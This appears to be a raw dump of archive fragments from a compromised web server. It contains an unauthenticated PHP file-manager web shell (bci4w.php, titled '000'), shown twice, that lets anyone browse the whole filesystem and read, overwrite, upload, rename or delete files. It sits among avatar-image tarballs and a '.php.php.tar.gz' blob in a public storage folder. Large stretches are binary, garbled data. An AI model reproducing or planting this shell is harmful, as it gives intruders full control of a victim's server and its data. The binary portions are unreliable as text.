        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�5k

4yd0ui/67c1be3c7f0cd.jpg.tarnu�[���var/www/html/back/storage/app/public/avatars/10/67c1be3c7f0cd.jpg000075500000001567000000000000020127 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!����u,u,4yd0ui/b3vd5z.zipnu�[���PK!�2<�+�+	bci4w.phpnu�[���<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>000</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>

<body>

    <?php


    //function
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�2<�+�+	bci4w.phpnu�[���PKI,PK!���V��4yd0ui/4yd0ui.tarnu�[���67c6da0a349ea.jpg.tar000064400000005000000000000000007750 0ustar00var/www/html/back/storage/app/public/avatars/10/67c6da0a349ea.jpg000075500000001567000000000000020047 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67e272b25bcec.jpg.tar000064400000005000000000000000007751 0ustar00var/www/html/back/storage/app/public/avatars/10/67e272b25bcec.jpg000075500000001567000000000000020050 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���orb3c.php.php.tar.gz000064400000061325000000000000010227 0ustar00���r�:� 8�`��G֑-�~�K��ݲdɺ�RU}^J�$�BJ$u=]�cm�Fl�쏙�1�3�
=�0/���H���]�����=�>%�H$	 �H$kNa7�
;��3��
����
7Xn�`��L�ܚ�8Ee�6��+���~x�_�����D\�B�H<#��=�����o����"�5�o����3���/�)��_��g� �f�I�(���G�_��s�e�a�)�&ʒz~	��4q.0)F�.f2/\y�53�	W^��|������v�I#�q���<��(+�/��
�g5������B�]]�5�v�����^���(7��+���en��\&^US�Pmg�U��7T+����^�oxΉ�|J��[�f=��1��͹]�q���"f�
�9b�p�ځ~��^_D�a�����ESV�퐛�����$����cP㨂�P.J��K^r���,]��H��;HфI@1�8��Ѣѷ�?rw~�ۼ"j�3���8��z��h���g�M�7^TP1���0�{\�5��$a�6D��u��ǻ$�cy��TqO�0�Q��!�(�H��C���P��I��\�#�C폤��h/��{�&3����� P?�s�4:=�H�2�h>+H\&�r#U�Z3Y]�\��;4<��3��l,��GO]�d���lE�ͤ��Y�I�����jo}N<B����I�l��|�������ߨ�h�۾+�<�př� �4�9O�\�2 [��K�����I4��̥�
���ޝ�j%!�����#h���Ȏ�}�abD��z��\Ay ��T(m �S		=		'�5C�'�W�X$`~e.��6��ṝ���"�qG�w�g6:	����"e�H8�f9,"��"o+�5����_~a>��o��|���z~Kg����[%]-���<Hd��R:{~CU�g��DT7mg�U�1��)1@�dž�?�^�
ƌ#��T�|A"R�l4��;��}B�A����5��H�gg6��d�笏h�����?ҽpO1�ψ*�H�sHġ�0���tF�˜��������I�w���J`Q��vu�	[
�1��}nF�Q��._�b8(O��"1֯�5=	>���{/�P�b@��'� �U���*���Τ��*ԫK�Amc@">`��PweIA�/�
�	���0g��(ȅ$Ӏ���k���?�E���y��3�%̘Oh��{�(�
i��	'��[�1{�u���P��	(����4����n\�BP檍��8k�Q!ޢ6֙
�g�/(?��/a *	&�ʋ+���	l�H�2���9IJMy04<�tT*�Us�I�h�64�y_Fk��HS��	l	[Š�!�V3N��9�'f�Y�d��<eԅ0@s�
[����-bŖ�&����)dń�1�hHλ�68�1hbZ1J���
�‚I�lKSI�H6����ʠ9�ek�5�˟��B�_�n�A�
5��@	��h@���_�,#�z��8��A��jy�8^`���~���K5"�F�X5^deƟ(0��jB�FХ!J�v�:L�R�s]<��@%�IA�塩U����r�Tܵ�].8��\'�u���i�^o<�{OV��Ax��-<I.��P�NE�%
�P����!������C�!�5����#s�	q~���hxG�6� ��z���U@�!=`�wF���knv�g�f��V�$c�B�D�����_������E�F�$��o��{J?xO#�����N�}�'��?���>��ߑY��DE�kC���D0��jH`ПU!6	����	[Q��C�����ru��%
�por���Uʽe8MC���w�&Ș�@5�%#���1 �Q�v�Z,�l��Nqt ��u� 
��d4�i7h	��)%'�E\��b�X��PP.p��?��Ai�[X���&�,9;�|��J_y�
G#��U�h�N5�1s�hA��5��;��d�t�\(��1y�i(�H.�<c�"��I�L,
�H�C���KR�J)?hՠ3K�*��p0�U��q�ha�uN�1x���&�0UYc
�J�z}
_m��ij��Ro��;�R��?�"
�lj�3T�v�h��$D��%��o
�<}�@�y�8Д#0w�D뇯�S�@(b�z�Z�w�@�W�=Y���P�r$���)�!����Ww�)� �Չ��}lAy���A�F~PB��M��^���Q,��	*���k[7�^�K4���2�2�q��n���8#��8�+2DS0�p?�z?�R��D�J���e�70U#=D%�Ξ9�ï�1-���DK2�K,\�֕MHK���'�:�w悒`���1V�0?�vXۨ3�N#M{�v�W��QC���̃W^~�d
�am�2�#0�J��Ztק:��K�nR�/0�ڌ������������D0W_���.�R�d�*`�Q��I�P{(�����`Mop��;���;��F�Bs6��F:�d���!�gf�RW}USL�k&p� e�*���x��(땭�I�V��WTK��Z������4�[(��
I����Sk	n�؈������Bb�C�O%NSeE�4���uї-�XGF�v}	�ח�G����q���I���1G04��o*=��k��Tސ?s�X���/hԡB�����	�L�$��s��".$~B���3)�3��{*��›&��Xc��D��>ח�0����Pm'aeuMz]?u��z)a+&���3�� �tE��Q��ý�.�_<�5��{nQ1~�=����;W}��`Z���i�����?D�����8���ly��.����e>u�tS��0������gB�D˱p����S�VQf�,ԩ^�@��C���oK��<�h`�E��{�����$�*�.�2&�R�3����LT�����!z^p���/��1'��]Y9�+�ao�TU|�Pq�*B_@�X��:����ޞ*�(���%9��?��d~�ޙ�p*�D�`���ٍod��5���pY�/��X/��T4/��E�5�(|C���c��-	�����錘��o�ӥ+lT��(��0��SP�S,f�+��Ko���IW�t�m������C�ɥ[�L��o���)!�_Y��M8�$l��e���֭��׌3��uI3�E]�>�ir4J��\�4Q�����	��A.i}���t��tsO�	����h�3��v4'϶t�~�)�uW�0ᡋ-L�(���
W�J׵Y?L1͑�����h1eV������b��;��RA�@�̡���7Բ�N�B1l4�f���)TO�ٺsv��W�E�R����ܮ9�
)2X�&^�Ι{��m���Ve���IH<��\�3N��&�(��o�X�#�r�ol٣��QPz��6�Q���w[0�a�$0���K^��h�����Mb�D
7
�%zϰ�aaj�X������n�I�`ـ$C%��XUn��>]QL^R�^QQ:ݡ�a[�$!m��ڒOx����ڶ�u�;�;��K�Z)��ehX47(Y��r�D��|����'�>�
�IZ͑z.�xլ��ͨ<e)P�G��5jτ�L���_K�V��t�~<�H�ʛ�+w]['�ȧ[yZ�A��
��k�$�j�Ń�7����K��c��g�R���Q��G��>�M֔��|�Ŕ����#L']i�Wj4I��v*&��3}�=�r�
����J�R3�ʺ޼@������a�\�S���R��i�^=̝!mP�`�D�����&�D{m��pr���4���F�f@��k=��J�[��Ru��|�������c�$�d���3FшO�<�`J���a�LL�r2��J���o����᥮�~$H�x��i�L��R�=�4Í��vE��-��N��� 7�Y���4u�������7���`���*	Qr������ђُ_2��N^1�>l8I/3� �
����%�yP�Kp��9��LD�7��/e��!�/�e�Nl�$�����iC�z��:٣������rt�������-
=�?��0��(�	%�b<j���N��{��b�s�N����)Zr~+V�����&:`�Gž8��Y�j����3͎�$�B�]�Mhj��6
m�[r����d�|�烪P��y ���P��CB	
�F*4w��`2S����.�2����݇����TG���uq�IԺ8E�yP��d���%�2�TC{�Y��U�w26Q�J)RK�F��,�=g�-���1�ZӤ=��@S�Q�_���F�����a~����}�k!�����t�q,L�!�4Z��J������vh�20�2��Z���<lE.J��v�� ����nD�G�	-�#��4�
K��y&+�LM'S�p	�lfLb�1A�9	�H��5� �ւ&)'�7��9D�h�'(7t����n���B�����8�d���"�S�n�l���Q1�f	�p�����E	O��xmGq#ι�pˬ������[��]H�;҄�b'Skl��HN��j�=ηG�)��z6��r��l�C��gZ�|:]fK��K9VGG�z��(��p2V��,��Z��^�
7�XC�D¡V~~z͇ri%��.���\�mBl<�-;�������r���!j���d�����…�L��>��f`"m/�V{�l�Ĉ�0��TE�ldu�Vϓ}����jx'�w|;���g��<*,{�K������<������2����6��'Ê��i�rx2����*4��vw�g�*dÓ�<���R:8y��I���B ����<�:?~��R�e��^h~z�I�p`3LF;|��_;����aXe}�p�qԔ��Y���Z"Y��7;��`z��C��V
*e.��L�R:<�*��&�xB�Rx�����!��z��h��*�&�r�Lw��e�|���x�)�o-��d��8T#6�Qٸ���;�/Ҏ�rO��S%#E��Q��{�g³�pVZUX�U�
*���u�`����&�ᖬ>����f"/j�ྻ��ԅ��|�ru�,7���K�N$5^ۇ4���'��%�5��n5�d���$���v�ʧÛH�3����7�
�Q���&���fT���jҊ�꒶G|�&��=a}�
�EQxڮ*��>�W�����!t��6ОF[����N���Z��|�����w_g�|a�=�J���}�g�yg�{�mw/�d�g�z�.�C����i1�h'��\w�Y{�퓘ϊړ���'�5����F�1T�lD�۟/[�,��|p���&;�>i�H`�K�;��xԝ���궾~�=t
U��oĒ��6�$��V��k��Myĕ
���OQ~̅�PK��c=_=��_�l��Jl�bX�䆳P;����ZPC��0Ec�SzI���V9V	��ūo2�-V�Pz��^g�b�n���j�7�
���R|'�g��:����j	���h6��6�2�5r��c���c��+���h�Ja7�tF����}Dr�PK%F·�XL��]�>6j۬3.P�gM������<������Lf����+`���al��M#�nMbc��@d������t�e,IX��}Bؤ!B���0�l��L@i3�/`?�#�Zw�
�j{�ą"k2����-;�$���@3��֝���;Z�����8�&=�p���d�c��k�B=����=����4@��?�W�Pk���|��Qk�\)w�U�e����䴌�U�h'�Yto
ks�d<Ԛ-rNņp`[�Ŋ|	'�R��[Y���:�=^W}�V�oέ\c
��]�=[��*��x�Y]p�����{붰m���#�ٕDI|��\0m/���~�
*���1���3��g��!{�GvV�z�*c�?uA7|nE8p ��+�!2���a���|T�s��`��b!(���z��R*1;	n}7�z��M~�:9��V��xV^�C�Dr����/�<מ_<�:��6�]"4�`L�Y1��A���X�n1E��Ay#Y��+��qA��զ��գ��`W���5	���]w���7��L�T�^/dT�� �zwnq�w b���k�s���Q��R�Oa��� �(N��f`~�s���A��� �ʒ}�M$~Ì�;Wz��v4��O�`EDC���x����C-I�8:*{(�H����];$���!� �W`m�8���Ν8”������7����?1���Ͽ�{�o�=������������/����/��#��w�O6�
�~��?6�8glcM[̰7��fU��_��ѐ��q�%��>���b&�,����׺�4�`�ǎL����VS�\봐,`�>�<YE->}�nY5�ݲ����(c4z���K�t�#���u�5΍J�I���j8j��+��9M�p�i�~.�\
e?>��*�Q��v$-���]V�ަ���b��`��9���
�l�������}��f�o3GŎI��9�'�m"�</Xg�-��	�����&���C�U�L�ڞ@v�0�-w��c�`�Ȃ)�菊�m�[�i���66�<�Vn�62�:���ܚ�PY���2��<'�����(�����թ
��!�f�;9���a�>eF�¤���Z'�6��'Z���ܩ������G^yQ��yD�^? }#�nؼ�
bc�����A�8Ƣ!��^�t�Ζ�(�@J1�rv��pf��8!���\��,d�;&+3����at���\PF����^�r0:��=���z���G�$�K��S�{���v�1R�CB�e"�U=��-��u�1V�}un��&l�r���)�_�_�7���F6��M��+P��D��K<S��F�C��B<��$BO�6����z��#Q�K|{���浜ʶgK�hAV4.8+R�ha�� ��������ѫC|�'ƙ	í����;Ѱ:+O!����;0�>Ne(>��A�a�V?�Z~�5� �ɻ�B�k.����O��~��B�H`Y�����(��%z�u�Zc�ֶF���v��6E�
a�bqr������&���qL!#No�VԮ�#g�
� Œ%�
q��E�9�;Q7K������l�V�`j�UJ�iMu��%™���5B��.N��!�y�ۄ�ё��a�;��U_���C"	�h�:��-��)���PE&kϟl��M���[��x�������﷋o?���'�9\kyz��<#l��ua����4|��l'
�x�u���l�\��\ܹb�,2RE돽�0Jӗ��[�)��j�0�cq/qkv�u�������W��^�u��rM�n)�"���� �DCh��1�,4�0O���0���йi;Ln����렵=�F���ȘU��k��,򌮢,u��9�0q�l<��Y8�&Q��/J�Qׇ	x���c�V}{ȿ�����i��b�=�>n
�QG�E���SOU���&�`�$�m�l��w��wd�D��K3�
�,�yavv�Ii�:�_wT��أ������F��O��z�+U#A�ӡ��iSg_꣦+�!��]R�Kb�f��Q7"jK����og,LK�k&�z|.^3��s�DR��1�zn殙X*�����?x焵�g$��n�sé!=u�F��a=y!�����|aK�Q�n3��a

� a��D� � ���yqs�ai����4���~Y@�\�_==��a�z�IZ$}��'�i�'Q��r
�mwL5R?� �-��֩Fkz|G�ثN�뛃��zM����f�eE �Z��c���m0�wV'B�o唛�!����d�/k�<�f�$D���	���O���&�(<'�|B2� zq���3�w��,&ɰ�V[T��f�%O\#�x��AP����6p$K;����Ro�'M/�����o�Vg0���V�0Ńc2�Y�I���u,b֤�P�Ig7���U�m��ع%�Gx��2�\���{�?�� /����ɶ��3Zۢ�n�����
2'H��v�@�U�1=�3j�J�R˦[�Z�o6+oha]*t���:�Q��|���C>�CP�;`�|!���9�ȷڍj���6QcS��A��
[aMd�8�IJfۙϟ�Te�M}����d����������S[$Q�f�b�}]�)��U.%�
���$���,��𡒮<��ܗ�҅��H.���3���X�]�a�IO�H{YxF�l���F�'^��(��?h��džO4b���zf�Pmx��`�{=�ܵ(l�����N�b#��8�����׷��nT�X!�x���ؿ�T�W��3K>�S&��~�ę��K=��rsq��=;���8�R�9K,�Ws$�D	���囻%;��-�еOk�^<Z��^�@,�L�a���%j_p8}�ݎe��nf��bI$��`��p>�6�Xr
�p�p�0�D��l�u�X>�z�g����\[��S:��dc�Г4�!�)���qJ�p�����p�o,@l@��(���5���#�ב�����/��w��"����ޟ���,��:�����>��sYk��z�L��h��a8�`�b��	��X!)H�2�;U�����ĀP�����~$$�Zٓ�W��(�M�k����t�ڈL0��[����X�lw&(��@n��`�Z��&�A�b}��#���΂��fdw�| �6lr���,Wf�\1臫r?�5��\�!��z�~��N?L8�S�:��Ea�׍l3"�gym��K��cV����fwY�O�My�t�i�=�7�v��Gb�V��٧B'��Jr9�NK\�6��J���#��	��I_��*���+AMDC��f�Φw/�\�Q��풐��m�U��U��/?>�����e{���I?�}Ϲ�RR��Q:#T�*�t.���O���a���l��f��A&0m�+�R���gb�iy�~�(��g{�t�.�*�Pe�.��t1-
}�V���}��x���ϲ�N��6��^w��G�ty�ܑ�ta�Ig�f�MWGZ:�y�z�t%N?�j��j�N����Xj/��F�W*�t��Cy��� �h�V��`�22��f=����lp�	�qD�O���m=ԭ?����j#�{�V9SM��Db�Z;�(4F#�9)<Ej��U�X(7Kh1%Qdw�bw��|���
����d}����g��.K���!��V#~(TzJ�^i���u���I<�_�ӊ�	��hu\�����u8�J���A�I���`�K��k��y��6�>�*��h�q\��r�*,���J��R��d�v$�o��\��Q��v�Y�g�ur��o����i�(�ү�F����s���_Z��z�N?���C���FE1$ì/��ma�FJo:o����>��Zeu�>d[�l��d2E��)f���x���L�ݎ�r#�����Ǚlv�L?<<���.[�⾟�Q�Z�i���ip%�5HGV��K$7	nr�b�}�gʕ]&[odv�Q��|��tAg��d4z�w_#�A��AP��ܣ�i4J�U��m��]*tJ�Rr0*E�mq���Qۍֻ�:?��J�]�n�*�܊��r�(���C};�/��>P��sw��a}=�䄯�l6�Q7��s��V�f��H���]</*靲/7��&��H�n·�7���ζ�y>Pu�L�0~z�ǻ��h��X�Ls��C�qWn-�"7|�z�;)m�q��}~�ˉVe�����|uWo���c|^OO��E���k��<�,��겧�y2MH\���e��6ʮ�:��V.�{�}�qb������kEھ��V��X��k�@�ޛ�s��W��ZH�;u$�b�X���� ��|"UG��c3���>���|��=��7�����͒�׀�^4|�k,��7��x���F�R93�Ӄno;˾n���"jo�o��e^z��l�錖��Hz��S�5�Nq'�;�r�T��H�$���Nɷx�U�ʴ�y
>O�u�=[j��"X���퐰��ć�\���:�x����2�>m�ܢP�v�~ꎲ����������k�Qy��^����겍P\܇�K.��姠�o�k��$������m�5��rYxM�c��.�E1�
�*�m��U��u6�fYk,Ce��VqN@VA)>�G3ۀ,�f��^��eza�����ܠ����-%���%k�徖������JJ
��S?6�~X��
